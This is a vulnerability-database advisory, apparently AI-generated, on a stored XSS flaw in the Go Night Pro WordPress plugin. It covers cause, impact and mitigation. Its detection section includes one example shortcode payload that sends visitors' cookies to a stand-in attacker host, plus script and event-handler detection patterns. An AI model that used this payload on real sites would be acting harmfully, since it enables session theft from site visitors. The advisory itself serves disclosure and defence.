
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1886 is a Stored Cross-Site Scripting (XSS) vulnerability in the Go Night Pro | WordPress Dark Mode Plugin for WordPress. It affects all versions up to and including 1.1.0, and was disclosed on March 21, 2026, with the CVE assigned by Wordfence. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the unsanitized margin attribute of the go-night-pro-shortcode shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically due to insufficient input sanitization and output escaping on the user-supplied margin attribute within the plugin's shortcode handler. The vulnerable code is located in admin/partials/shortcode/go-night-shortcode-display.php at lines 48 and 61, where the margin attribute value is rendered directly into the page output without proper escaping. An authenticated contributor can insert a malicious shortcode containing a crafted margin value with embedded JavaScript, which is then stored in the database and executed in the browser of any user who views the affected page (Wordfence, WordPress Plugin Trac).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any site visitor's browser session when they access a page containing the injected shortcode. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or delivery of malware to site visitors. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk, and the attack scope extends beyond the attacker's own session (changed scope) (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1886 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).
margin attribute, e.g., [go-night-pro-shortcode margin="1px"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp-admin/post.php or REST API endpoints containing go-night-pro-shortcode with unusual margin attribute values including HTML tags or JavaScript.wp_posts table entries containing go-night-pro-shortcode shortcodes with margin attributes that include <script>, onerror, onload, or other event handler patterns.go-night-pro-shortcode shortcode.Site administrators should immediately deactivate and remove the Go Night Pro plugin (versions ≤ 1.1.0) if no patched version is available. Review all posts and pages for malicious go-night-pro-shortcode shortcode usage and sanitize or remove any suspicious content. As a workaround, restrict contributor-level user registrations and audit existing contributor accounts. Monitor the WordPress plugin repository for an updated version that addresses this vulnerability (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."